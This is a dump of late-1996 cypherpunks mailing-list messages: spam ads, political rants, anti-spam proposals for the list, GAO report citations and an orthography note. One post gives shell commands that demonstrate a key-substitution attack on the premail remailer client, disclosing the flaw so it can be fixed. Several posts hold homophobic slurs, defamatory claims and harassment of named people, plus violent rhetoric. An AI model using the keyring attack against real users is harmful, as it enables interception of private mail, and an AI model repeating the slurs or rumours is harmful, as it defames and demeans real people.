You can save a substantial amount of money on your next Florida
Vacation and receive an adult pass to Universal Studios.

If you are interested please visit the web page at:
http://www.o-c-s.com/getaway

Or for more information via Auto Responder, send an E-Mail message
to:

getaway@o-c-s.com

Best wishes,
John





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Tue, 31 Dec 1996 22:40:50 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: Fed's blew it this time.
In-Reply-To: <219sZD42w165w@bwalk.dm.com>
Message-ID: <199701010641.XAA09965@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <219sZD42w165w@bwalk.dm.com>, on 12/31/96 
   at 11:59 AM, dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:

::> Timothy C. May wrote:
::> >
::> > Your message is the equivalent of that brain-damaged ebonite's 
::> > "Why can't we all just get along?"
::>
::> Tim,
::>   Have you 'coined a phrase' here?
::>   Perhaps future generations, reading of the exploits of the 
::>  'Ebonites', will recognize your contribution to the language.
::>   Have you seen _Mars Attacks_ where Jack Nicholson, playing the 
::>   president, says just that?

::have you noticed that a lot of recent popular movies either portray 
::the U.S.G. as a bunch of crooks and criminals, or make fun of killing 
::them all (e.g. Mars Attacks). This would have been unthinkable 20 
::years ago.

        20 years ago, the Vietnam protests were just dying down. the 
    movie industry which has been one of the more vocal anti-war 
    centers (except in making violent war movies which make money) was 
    still somewhat respectful of the USG.  

        Other than the liberals who give Bubba a birthday party 
    --probably more for their own publicity (except Barbra), most 
    everybody is getting fed up with the government and beginning to 
    realize the USG not only over governs, but the public is also 
    beginning to understand the usurpation of power, and the basic 
    unconstitutionality of the regulatory agencies.  

        Utah is as good an example as any; they have never been 
    Fed supportive (even if it was Republican), but the church mandate 
    is to support the government --however, they are quickly swinging 
    to a large majority which not only does not like the Federal 
    government, but who are also actively stating the government is 
    illegal--  and the church is silent.

        The other Intermountain states have been just plain independent 
    minded, but tolerated the Feds. Not any more.  Idaho and eastern 
    Washington are not a safe place for the Feds.  Montana makes no 
    bones about it; Wyoming, Colorado, and New Mexico are vocal. And AZ 
    is as pissed as they come over the MJ pronouncement "--what do you 
    mean the Feds are telling us our vote is worthless and our States' 
    Rights don't mean pig shit."  Nobody particularly cares about the 
    MJ, it's the pure and simple emphasis on States' Rights and the 
    Voters' Rights to self-determination and the 10th Amendment.

        Analysis of California attitudes is even more revealing; the 
    statement the DEA would pull prescription permits from doctors 
    prescribing maryjane in AZ and CA has stirred a firestorm which 
    will only get larger.  

            The people spoke and the Feds said: "Fuck You!"

        The question then is, how long before the Eastern whimps and 
    liberal tit suckers wake up and realize they too are about to lose 
    the option of being liberal tit suckers?

        Of all things, MJ may be the last straw (going up in smoke 
    <g>); now, if the press will get off their sensationalism on the 
    CDA and talk about what it is we are really fighting --free speech 
    as a whole, Thomas Jefferson might wake up one day soon and say: 
    "Alright!  but it took you stupid bastards more than the 20 years 
    to have a little revolution to teach Washington who the government 
    serves!"

        Maybe Bubba needs a little more cocaine so he gets "brave" 
    enough to call in UN troops to quell a riot...   then WE watch the 
    fun. Some of you sissies might even lift your hardware and watch 
    your first melon explode.  After the first one, it's easy.

        For the first time a civilized nation has full gun         
        registration! Our streets will be safer, our police more 
        efficient, and the world will follow our lead in the 
        future.
                    --Adolf Hitler (1935)

    Is Adolf's future here again?
      
        46. The U.S. government declares a ban on the possession, 
        sale, transportation, and transfer of all non-sporting 
        firearms.  ...Consider the following statement:

            I would fire upon U.S. citizens who refuse or resist 
            confiscation of firearms banned by the U.S. government.

                --The USMC Combat Arms Survey

    The same survey had questions of obeying commands from UN officers, 
    and obeying commands from UN officers on US territory, and against 
    US citizens.  Anybody who wants a copy of the whole survey, send 
    me email.  

        This was not somebody's master thesis; on some special     
    operations bases it was given by a major, others a light bird, etc.
    all SEALS and USMC spec-op groups were given the "test"  --the 
    younger men were >85% compliant; the reuppers and lifers were real 
    low on compliance (~15%).  Our PC and revisionist history has built 
    the generation they want: functionally illiterate "world-oriented" 
    cannon fodder.

        stop your incessent nattering and do something constructive.


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Charset: latin1
Comment: Encrypted with 2.6.3i. Requires 2.6 or later.

iQCVAwUBMsoGSb04kQrCC2kFAQFxkgP/SYfgRg2wMlCYoEmV4qmgdoKcC16ZfM1f
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Rx9BC9XFcGY=
=IS/k
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Success@midlex.com (Donald)
Date: Tue, 31 Dec 1996 22:59:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: test
Message-ID: <199701010658.WAA22719@lithuania.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


All Aboard!! The CD EXPRESS!!


One time $50 US purchase 

  Can earn you $500 a day !!


World Wide Opportunity!
	
	- CD's/CD Rom network
	- Everyone Loves music
	- Never have to Purchase another CD
	- Explosive New Home-Based Business
	- Debt Free Company


The Excitement Has Begun !!

	Position Yourself NOW!

		Call:   Bill Marple    (9am-9pm EST US)
		
		Phone: 704-846-8299

		Reference Number:  INTERNET


 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John H West <jwest@eskimo.com>
Date: Wed, 1 Jan 1997 00:53:24 -0800 (PST)
To: Jorge Hernandez <jorge@mailloop.com>
Subject: Re: Bulk Mailing Software
In-Reply-To: <199701010213.VAA00550@alberta.sallynet.com>
Message-ID: <32CA2608.5326@eskimo.com>
MIME-Version: 1.0
Content-Type: text/plain


Jorge Hernandez wrote:
> 
> Mailloop is bulk mailing software that will revolutionize how
> people advertise on the internet.
> 
> See what all the fuss is about:
> 
> http://www.mailloop.com

So, by my subscribing to cypherpunks, I can forsee what my 
e-mailbox will contain in the future ... "Mailpoop"

john

-- 

        /************************************************/
        /*****   DARE:  To Keep the CIA off Drugs   *****/
        /************************************************/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@zifi.genetics.utah.edu (Anonymous)
Date: Wed, 1 Jan 1997 00:29:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [IMPORTANT] Forgery detection
Message-ID: <199701010829.BAA10517@zifi.genetics.utah.edu>
MIME-Version: 1.0
Content-Type: text/plain


There's a rumor that Tim C[reep] Maypole sells his dead relatives 
as fertilizer as they constitute the best shit in California.

   _
  {~}
 ( V-) Tim C[reep] Maypole
 '|Y|'
 _|||_





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: roy@sendai.scytale.com (Roy M. Silvernail)
Date: Wed, 1 Jan 1997 01:34:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Anonymous Post Control
In-Reply-To: <v02140b0caeef4ce75c72@[192.0.2.1]>
Message-ID: <970101.015042.9V6.rnr.w165w@sendai.scytale.com>
MIME-Version: 1.0
Content-Type: text


-----BEGIN PGP SIGNED MESSAGE-----

In list.cypherpunks, ph@netcom.com writes:

> It would be nice if toad.com would verify signatures and insert a
> header into the messages with the PGP User Id of every poster.
> Then it would be very easy for many people to filter the messages
> using widely available off-the-shelf mail software.

I can see the utility, but it means a lot more CPU cycles burned on
toad.  It also brings up the age-old clearsign verification spectre.
(does anyone have that figure for the percentage of clearsigned posts
that verify as good?)

> (I volunteer to adapt majordomo for this task if it seems like
> a good idea.)

In general, I think it's a good extension for majordomo.  It may not get
used on this list, but it makes new tools available for future lists.

Has anyone looked at using Cryptix-extended perl and their PGP lib?  I
haven't got the Cryptix extensions to build on my linux box yet.
- -- 
           Roy M. Silvernail     [ ]      roy@scytale.com
"There are two major products that came out of Berkeley:
LSD and UNIX.  This is no coincidence."
            -- glen.turner@itd.adelaide.edu.au (Glen Turner)

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Version: 2.6.2

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MsKp53/rAC6Pgg8JAH9dOr71N9SUs1PfDjrz39W8Bx3na9o2xTGcbpIIgYSDnbsk
qQXiPmfDUAA=
=zZHA
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John H West <jwest@eskimo.com>
Date: Wed, 1 Jan 1997 03:46:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Hardening lists against spam attacks
Message-ID: <32CA4ECF.3FAC@eskimo.com>
MIME-Version: 1.0
Content-Type: text/plain


The idea of distributing tokens by clever and complicated 
schemes seems interesting as a thought-experiment, but I 
wouldn't want to have to study the fine art of "cypherpunk 
posting technique" in order to insert my rare comments into a 
discussion thread.  Charging posting fees is also interesting, 
but as already discussed, has many weaknesses.

An easy solution would be to grant unlimited posting rights to 
anyone with more than one month's membership in the list.  
This idea could be called "the endorsement scheme."

If anyone wishes to make an anonymous post, their submission 
would go into a "general pool" along with all the submissions 
from non-members and people who have subscribed for less than 
one month.  The "general pool" would be a webpage somewhere 
which has on the screen an "Approve" button which would bring 
up a "Username/Passowrd" box.

Anyone with more than three months membership in the list 
could apporove messages from the general pool.  If the senior 
member (_any_ _one_ senior member) feels that a post in the 
general pool is worth sending on to the full list, then the 
message gets general distribution, date- and time-stamped:  

   "Determined by --your_name_here-- (not the author) 
    to be of possible interest to at least one member 
    of the list."  (no problem ... Vulis could still 
    approve his "Huge Cajones Remailer" and his 
    "Suck_My_Big_Juicy_Cock" postings, and none of us 
    will ever figure out where they're coming from)

Senior members would never be in any way reprimanded for any item 
that they forwarded, unless through some "call-for-votes" type of 
action their item-inclusion privileges were curtailed (that'll 
never happen).  No one can "disapprove" or otherwise block any 
message from forwarding to the list.

The principle to be followed for which items to approve would be 
"essentially everything."  The idea is to strive to not block 
postings, but to leave "herbal remedy" ads hanging unendorsed.  
Maybe the unendorsed posts could expire if unendorsed after 72 
hours -- of course, the item would be immediately removed from the 
general pool when it received an endorsement and went to the list.

We have to be careful to not cause any legal liability to fall 
onto an endorser for approving an item (eg, source-code) which is 
later determined to be, eg, an ITAR violation, a copyright 
violation, etc.  The endorsement must have an effective disclaimer.

john





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jamie@comet.net (jamie dyer)
Date: Wed, 1 Jan 1997 02:04:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: Hardening lists against spam attacks
Message-ID: <Pine.BSF.3.95.970101045821.18285D-100000@atlas.comet.net>
MIME-Version: 1.0
Content-Type: text/plain


 
 A stopgap measure....
 Perhaps an X-header that changes weekly, monthly, whatever.
Is there a way to configure the list software to reject a message
that doesn't have the X-header? This won't stop all spam, but it'd
put a damper on a bunch of it. A lot of spammers don't even know
what an X-header is (though a lot do), much less how to put one
in a message.
 Lists are one of the last havens from spam, and though spam seems
to be the grafitti and billboards of the future, I don't feel
particularly amenable to having to waste time hitting the "D" key. 

jamie
------------------------------------------------------------------------------
jamie@comet.net |          Comet.Net		|  Send empty message 
		|     Charlottesville, Va.  	|  to pgpkey@comet.net 
		|        (804)295-2407		|  for pgp public key.
	        |     http://www.comet.net	|
         "Information wants to be $1.98." -I dunno who said it.
------------------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Wed, 1 Jan 1997 00:31:35 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: Timmy's Lost It: [Was Extremism in the defense of liberty is no vice]
In-Reply-To: <v03007801aeef0dff9afe@[207.167.93.63]>
Message-ID: <199701010832.BAA12165@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <v03007801aeef0dff9afe@[207.167.93.63]>, on 12/31/96 
   at 10:54 AM, "Timothy C. May" <tcmay@got.net> said:

::As to our "reasonableness," I make little effort to hide the fact that 
::I support strong cryptography because it means that the plague of 
::democracy and "mob rule" can be turned back...I view crypto anarchy as 
::an elitist development, one which the ubermensch will appreciate, but 
::the masses will recoil in horror from.

::Fuck the herd.

        yes, and that is why there was a Robespierre and a Madam 
    Defarge.  do you wish to be the first to be strapped to the board?

        your elitism is crap; if you know it and persist, you are asking 
    to lose the "war" with the Feds; if you don't know it, you're just 
    ignorant.  you are doing nothing except feeding your own ego in the 
    hope of winning one battle and establishing that self-same elitism.

        either your "elite" stoop to the level of the 'herd' you so 
    glibbly label 'Fuck the herd,' and enlist their support of *their* 
    rights to free speech, or you might as well invite Bubba into your 
    living room after the advance party has taken your much touted 
    hardware and your clips of hollow points "for public safety."  and 
    what do you say to the most corrupt and despicable President in our 
    history?  "Fuck the herd?!"  

        You and Bubba can hold hands, dancing around the room, jumping 
    up at down, screaming "Fuck the herd!" "Fuck the herd!"  

        welcome to the world of bubba and hillary.

        these statements do nothing but confirm you are riding a 
    self-styled ego trip to be above the "herd" and flaunt your rights 
    to a lethal weapon. 

        I didn't fight in foreign wars for this crap from an 'American.'

        take a little yellow pill. a mother's little helper. then check 
    in again for a little help; you've lost it.

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Charset: latin1
Comment: Encrypted with 2.6.3i. Requires 2.6 or later.

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y1/0LJEgNMV9CB37Jc0e8pKrg/ax983cjbSUi1j9rLqqPgS7YolfB1rcHaCQeuXB
yVznc4H7DF4JXIoJGNISF5po8ucXYcZ3l3PtetAzzoJxiszk8G3RJZVSYLOXWpbP
9AJ+Dq4YKZw=
=dTHR
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 1 Jan 1997 06:09:27 -0800 (PST)
To: Howard W Campbell <woody@hi.net>
Subject: Re: FinCEN reports from GAO
Message-ID: <1.5.4.32.19970101140512.006ac2a8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


The GAO reports Woody cites(*) and others are available online at:

     http://www.access.gpo.gov/su_docs/aces/aces160.shtml

Here's a list on money laundering reports, and one which reports
on the burgeoning federal law enforcement agencies.

(*) Money Laundering: Progress Report on Treasury's Financial Crimes
Enforcement Network (Letter Report, 11/08/93, GAO/GGD-94-30).

Money Laundering: Characteristics of Currency Transaction Reports Filed
in Calendar Year 1992 (Fact Sheet, 11/10/93, GAO/GGD-94-45FS).

Money Laundering: U.S. Efforts To Fight It Are Threatened By Currency
Smuggling (Chapter Report, 03/09/94, GAO/GGD-94-73).

Money Laundering: The Volume of Currency Transaction Reports Filed Can
and Should Be Reduced (Testimony, 03/15/94, GAO/T-GGD-94-113).

(*) Money Laundering: Needed Improvements for Reporting Suspicious
Transactions Are Planned (Chapter Report, 05/30/95, GAO/GGD-95-156).

Money Laundering: Stakeholders View Recordkeeping Requirements for
Cashier's Checks as Sufficient (Letter Report, 07/28/95, GAO/GGD-95-189).

Money Laundering: Rapid Growth of Casinos Makes Them Vulnerable (Letter
Report, 01/04/96, GAO/GGD-96-28).

Counterfeit U.S. Currency Abroad: Observations on Counterfeiting and U.S.
Deterrence Efforts (Testimony, 02/27/96, GAO/T-GGD-96-82).

Money Laundering: U.S. Efforts to Combat Money Laundering Overseas
(Testimony, 02/28/96, GAO/T-GGD-96-84).

Money Laundering: A Framework for Understanding U.S. Efforts Overseas
(Letter Report, 05/24/96, GAO/GGD-96-105).

----------------------------------------------------------------------

Federal Law Enforcement: Investigative Authority and Personnel at 13
Agencies (Letter Report, 09/30/96, GAO/GGD-96-154).

[Excerpt]

Pursuant to a congressional request, GAO provided information on the 13
federal agencies with the largest number of law enforcement
investigative personnel.

  ATF - Bureau of Alcohol, Tobacco and Firearms
  DS - Bureau of Diplomatic Security
  CPDF - Central Personnel Data File
  DEA - Drug Enforcement Administration
  FBI - Federal Bureau of Investigation
  INS - Immigration and Naturalization Service
  IRS - Internal Revenue Service
  NCIS - Naval Criminal Investigative Service
  NPS - National Park Service
  OPM - U.S.  Office of Personnel Management

GAO found that: (1) 10 agencies employ over 90 percent of federal law
enforcement investigative personnel and 3 agencies have 700 or more such
personnel; (2) these agencies investigate criminal violations including
organized crime, bank fraud, civil right violations, illegal
immigration, violations of mail integrity and security, custom, drug
trafficking, and money laundering violations, income tax violations, and
passport and visa fraud; (3) the agencies derive their investigative
authority primarily from statutory laws which are implemented through
executive orders, agency regulations, and interagency agreements; (4)
the 13 agencies employed about 42,800 law enforcement investigative
personnel at the end of fiscal year (FY) 1995 and, except at the
Immigration and Naturalization Service (INS), 100 percent of the
personnel could execute search warrants, make arrests, and carry
firearms; (5) there was a 19 percent overall increase in investigative
personnel between 1987 and 1995; and (6) the change in the number of law
enforcement investigative personnel ranged from an increase of about 66
percent at INS to a decrease of about 14 percent at the Naval Criminal
Investigative Service.









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Liz Taylor <liz@nym.alias.net>
Date: Wed, 1 Jan 1997 03:25:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: premail.
In-Reply-To: <v03007804aeef7eebc624@[199.182.128.36]>
Message-ID: <19970101112548.22952.qmail@anon.lcs.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


frantz@netcom.com (Bill Frantz) wrote:
> At 9:27 PM -0800 12/30/96, Anonymous wrote:
> >A scenario:
> >
> >1) The spooks put a bug (named Eve) on the link between
> >kiwi.cs.berkeley.edu and the Internet.
> 
> (2) Nomenclature quibble: It would have to be Mallory, not Eve.  Eve can
> only listen.  Mallory is a lot more dangerous because he can
> alter/delete/insert messages as well as listen.

	My mistake. Long time since I read Applied Cryptography, and that
too only partially.

> 
> (1) Protection against this scenario is what the signatures on the key are for.

Unfortunately, premail doesn't check the signatures. The only signatures
that pgp can recognize and verify are the self signatures (easy to spoof).
Note that even if the public keys of other signatories are included
in the pubring (unlike now), it will still be easy to spoof the signatures
if one can alter the pubring. The only safe way is to have a public key
generated by Raph included in the premail distribution and then sign the
pubring.pgp file at kiwi.cs.berkeley.edu, and/or its individual keys with it.

Here are three experments, all of which I did. The results are eye-opening.

1) Run premail with +debug=rv . pgp will warn about not being able to
verify signatures.

2) Do a pgp -kvv ~/.premail/pubring.pgp. You will see that all signatures
are either self-signatures or are unverifiable by pgp.

3) Do the following (lines starting with % are C shell commands. Lines
starting with # are comments. Don't enter them directly.)

% mkdir /tmp/k
% setenv PGPPATH /tmp/k
% cp ~/.premail/pubring.pgp /tmp/k

# Remove exon's key

% pgp -kr remailer@remailer.nl.com /tmp/k/pubring.pgp

# Make a new key for exon.
# When pgp prompts for user-id enter
# Senator Exon <remailer@remailer.nl.com>
# You may want to specify the lowest key size, 384, for convenience, and
# an easy passphrase such as `exon'.

% pgp -kg

# Make a mail file.

% cat > /tmp/k/mail <<!
To: nobody@nowhere.at.all ((chain=exon))
Subject: A test.

Is this really encrypted for Senator Exon, or for the spooks?

!

# Backup your ~/.premail/pubring.pgp

% cp ~/.premail/pubring.pgp ~/.premail/pubring.pgp.BAK

# Now premail the mail file.
# You have two choices.

# If you have lynx installed, use this command. And make sure
# that enough time has expired since the last time you ran premail,
# so it is forced to download the pubring.
# This command is one line. It might have been folded by your mail reader,
# so unfold it.

% premail +storefile=/tmp/k/mailout.pgp +debug=rv +pubring-url=file:/tmp/k/pubring.pgp -t < /tmp/k/mail

# If you don't have lynx, just manually copy the pubring file to your
# .premail directory, and then run premail as follows. This time, make
# sure that premail doesn't download the pubring file, by not giving it
# enough time since you last ran it.
# The cp and the premail are both one line commands. Correct any folding.

% cp /tmp/k/pubring.pgp ~/.premail
% premail +storefile=/tmp/k/mailout.pgp +debug=rv -t < /tmp/k/mail

# Now see if you, the spook, can decrypt the file that normally premail
# would have send off to exon, blissfully unaware that the spooks are waiting
# to catch it.
# Use the pass phrase you chose when you did the pgp -kg step above.

% pgp /tmp/k/mailout.pgp
% cat /tmp/k/mailout

# Gee. Looks like the spooks got your mail, huh?

# If you can't decrypt /tmp/k/mailout.pgp the premail step used a different
# pubring than /tmp/k/pubring.pgp. Make sure /tmp/k/pubring.pgp and
# ~/.premail/pubring.pgp are identical, remove /tmp/k/mailout.pgp and
# run premail again.

# Restore everything.

% mv ~/.premail/pubring.pgp.BAK ~/.premail/pubring.pgp
% unsetenv PGPPATH
% rm -rf /tmp/k

# Convinced?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 1 Jan 1997 09:40:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: "Cypher punks" display arrogance and stupidity in the new year
In-Reply-To: <Pine.BSF.3.95.970101045821.18285D-100000@atlas.comet.net>
Message-ID: <Pg3uZD66w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


jamie@comet.net (jamie dyer) writes:

>  Perhaps an X-header that changes weekly, monthly, whatever.
> Is there a way to configure the list software to reject a message
> that doesn't have the X-header? This won't stop all spam, but it'd
> put a damper on a bunch of it. A lot of spammers don't even know
> what an X-header is (though a lot do), much less how to put one
> in a message.

Dr. Grubor has suggested that homosexuals be required to identify themselves
in their e-mail headers.  Certainly, cocksucker John Gilmore is free to set
up his private mailing list so that only submissions with "X-Homosexual: YES"
or "X-Sexual-Preferences: GAY" get distributed. Problem is, if we get the
repeat of the recent mail loop attack, when the ASALA/Earthweb terrorist Ray
"Arsenic" Arachelian was re-submiting to the mailing list the articles
that were already distributed with most of the headers intact, the "X-Gay: YES"
header would also be intact on Arachelian's spam. Ray is truly despicable.
You can complain about Ray's forgery, spam, libel, and other net-abuse to
his bosses at Earthweb, LLC: Jack Hidary <jack@earthweb.com>, Murray Hidary
<murray@earthweb.com>, and Nova Spivack <nova@earthweb.com>.

I'm also amused by Jamie's suggestion that most people don't know what
an X-header is. It reminds me how I made a typo in the word 'group' and
some asshole "cypher punk" went into a long rant about how he knows how
to use the grep utility under Unix, and I allegedly don't even know what
grep is. First, the punks should consider themselves lucky that the owners
of the equipment they play with pay them salaries for messing around with
software so user-unfriendly that some arrogant punk needs to be paid to
administer it (and the punk is sometimes a convicted felon, like Randall
Schwartz). Second, I happen to know what grep is (I teach Unix courses
occasionally), and I don't consider this a sign of great intelligence.

By the way, 'grep' stands for 'g[globa]/r[egular ]e[xpression]/p[rint].

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 1 Jan 1997 09:40:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Timmy's Lost It: [Was Extremism in the defense of liberty is no v
In-Reply-To: <199701010832.BAA12165@infowest.com>
Message-ID: <c73uZD67w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Attila T. Hun" <attila@primenet.com> writes:
> ::As to our "reasonableness," I make little effort to hide the fact that
> ::I support strong cryptography because it means that the plague of
> ::democracy and "mob rule" can be turned back...I view crypto anarchy as
> ::an elitist development, one which the ubermensch will appreciate, but
> ::the masses will recoil in horror from.
>
> ::Fuck the herd.
>
>         yes, and that is why there was a Robespierre and a Madam
>     Defarge.  do you wish to be the first to be strapped to the board?
>
>         your elitism is crap; if you know it and persist, you are asking
>     to lose the "war" with the Feds; if you don't know it, you're just
>     ignorant.  you are doing nothing except feeding your own ego in the
>     hope of winning one battle and establishing that self-same elitism.
>
>         either your "elite" stoop to the level of the 'herd' you so
>     glibbly label 'Fuck the herd,' and enlist their support of *their*
>     rights to free speech, or you might as well invite Bubba into your
>     living room after the advance party has taken your much touted
>     hardware and your clips of hollow points "for public safety."  and
>     what do you say to the most corrupt and despicable President in our
>     history?  "Fuck the herd?!"
>
>         You and Bubba can hold hands, dancing around the room, jumping
>     up at down, screaming "Fuck the herd!" "Fuck the herd!"

"Cypher punks'" opposition to free speech is another good example of their
elitist attitude. They only want freedom to express the ideas they agree
with. Not only is the notion of supporting freedom to express idea they
don't like totally alien to "cypher punks"; they actively seek to promote
censorship. Indeed the only crypto-relevant thread on this mailing list
in many weeks was a "pseudo-crypto" discussion of protocols to suppress
free speech and to limit the expression to views approved by the cocksucker
John Gilmore.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr. Dimitri Vulis)
Date: Wed, 1 Jan 1997 09:42:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re:      Old Russian Orthography
In-Reply-To: <199701011453.XAA01748@tsuji.yt.cache.waseda.ac.jp>
Message-ID: <5g4uZD68w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr Yoshimasa Tsuji <yamato@YT.CACHE.WASEDA.AC.JP> writes:

> Hello friends, a Happy New Year to you all.

Thank you!  And a Happy New Year to you too.

<very interesting stuff - near year's present? - skipped>

> Incidentally, I wonder how one can transliterate oldish Russian alphabets?
> I am sure fita should be "th", but as to dotted i and jat', I haven't got
> the faintest idea.

I remember seeing an old Library of Congress transliteration table where jat'
was transliterated as e with some accent, and dotted i was an i with some
accent. I took a quick look on my shelf and can't find it now. (LOC is not
a good scheme, since one can't always recover the original from it. :-)

The U.S.G. Printing Office manual seems to suggest that one translates into
the new orthography before transliterating (fita to f, dotted i and izhitsa
to i, yat' to e or yo). This may lead to an occasional problem: suppose you
have an index alphabetized according to the old rules:

ib..
ik... (regular i)
ia...
ie... (dotted i before another vowel)

If you fold dotted i into i, you'll be looking for 'ia' before 'ib'.
Ditto for yat', which came much later than e in the collating sequence.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 1 Jan 1997 09:40:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Hardening lists against spam attacks
In-Reply-To: <32CA4ECF.3FAC@eskimo.com>
Message-ID: <F64uZD69w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


It's remarkable how "cypher punks'" only interest in cryptography
seems to be in making up lame pseudo-crypto censorship protocols.

John H West <jwest@eskimo.com> writes:
>                              grant unlimited posting rights to
> anyone with more than one month's membership in the list.
> This idea could be called "the endorsement scheme."
>
> If anyone wishes to make an anonymous post, their submission
> would go into a "general pool" along with all the submissions
> from non-members and people who have subscribed for less than
> one month.  The "general pool" would be a webpage somewhere
> which has on the screen an "Approve" button which would bring
> up a "Username/Passowrd" box.
>
> Anyone with more than three months membership in the list
> could apporove messages from the general pool.  If the senior
> member (_any_ _one_ senior member) feels that a post in the
> general pool is worth sending on to the full list, then the
> message gets general distribution, date- and time-stamped:
>
>    "Determined by --your_name_here-- (not the author)
>     to be of possible interest to at least one member
>     of the list."  (no problem ... Vulis could still
>     approve his "Huge Cajones Remailer" and his
>     "Suck_My_Big_Juicy_Cock" postings, and none of us
>     will ever figure out where they're coming from)
>
> Senior members would never be in any way reprimanded for any item
> that they forwarded, unless through some "call-for-votes" type of
> action their item-inclusion privileges were curtailed (that'll
> never happen).  No one can "disapprove" or otherwise block any
> message from forwarding to the list.

Yeah, sure. Remember - I'm not a "list member" because the cocksucker John
Gilmore didn't like the contents of my submissions, so he unsubscribed me,
and further instructed majordomo to play dead when it sees a request from me.

This list is already much more censored than what you describe by the
asshole censor John "I like to suck big dicks" Gilmore. It also has no
credibility. It's a laughing stock for the media.

But if your proposal is implemented, I'm sure some honorable person(s) would
try to thwart censorship by approving submissions that socksucker John Gilmore
doesn't like, and would find their ability to approve curtailed very soon.

You're also forgetting about the approver's liability. This mailing list has
seen a lot of racist garbage about "crazy Russians" and the "colored race"
from scum like Timmy May and Ray Arachelian. This is what happened to one
such vile racist in California (I don't know whether he's a "cypher punk"):

] E-MAIL SENDER INDICTED
]    Irvine, Calif. [November 14, 1996] (AP) -- A former
] college student was indicted on 10 federal hate-crime
] charges for allegedly sending computer messages threatening
] to kill Asian students.
]    According to federal prosecutors, Wednesday's grand jury
] indictment of Richard Machado, 19, of Irvine marks the first
] time the government has prosecuted an alleged federal hate
] crime committed in cyberspace. . . .
]  [...]
]    Machado could spend up to a decade in jail and face up to
] a $1 million fine if convicted.
]  [...]
]    The grand jury accused Machado of sending a threatening
] electronic message to about 60 University of California,
] Irvine, students on Sept. 20.
]  [...]

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 1 Jan 1997 09:40:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Hardening lists against spam attacks
In-Reply-To: <32C9CAAE.497B@gte.net>
Message-ID: <gP5uZD70w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn <dthorn@gte.net> writes:

> Peter Hendrickson wrote:
> > At 1:01 PM 12/31/1996, Z.B. wrote:
> > >On Tue, 31 Dec 1996, Dale Thorn wrote:
> > >> ...I will *not* install and run PGP.
>
> > People who don't like using PGP, or can't use it, or won't use it,
> > do not belong on this list.
>
> So who died and made you the king?

That's a very good question, Dale... Have you seen any traffic from the stupid
cocksucker John Gilmore after the recent allegation that he died from AIDS???

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 1 Jan 1997 11:40:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fed's blew it this time.
In-Reply-To: <199701010641.XAA09965@infowest.com>
Message-ID: <056uZD74w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Attila T. Hun" <attila@primenet.com> writes:

> -----BEGIN PGP SIGNED MESSAGE-----
>
